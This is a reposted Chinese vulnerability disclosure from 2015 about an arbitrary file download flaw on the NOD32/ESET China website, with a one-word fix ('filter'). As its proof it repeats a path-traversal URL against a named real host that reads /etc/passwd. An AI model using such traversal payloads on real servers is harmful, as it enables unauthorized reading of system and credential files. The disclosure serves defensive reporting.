nod32中国官方网站任意下载文件漏洞及修补

nod32中国官方网站任意下载文件漏洞及修补 - 网站

来源：自学PHP网时间：2015-04-17 14:47 作者：阅读:次

[导读] 简要描述：http://www.eset.com.cn/api/desk/download.php?file=../../../../../../../etc/passwd详细说明：http://www.eset.com.cn/api/desk/download.php?file=../../../../../../../etc/passwd漏洞证明：http......

简要描述：
http://www.eset.com.cn/api/desk/download.php?file=../../../../../../../etc/passwd
详细说明：
http://www.eset.com.cn/api/desk/download.php?file=../../../../../../../etc/passwd
漏洞证明：
http://www.eset.com.cn/api/desk/download.php?file=../../../../../../../etc/passwd

http://www.eset.com.cn/api/desk/download.php?file=../../../../../../../etc，这个呢？www.2cto.com

修复方案：
过滤

腾讯QQ相册存在任意查询相册漏洞及修复 - 网站安

Nortel Contact Recording Centralized Archive 6.5.1 SQL注射缺

子栏目

nod32中国官方网站任意下载文件漏洞及修补 - 网站

最新评论

添加评论

更多文章推荐

添加评论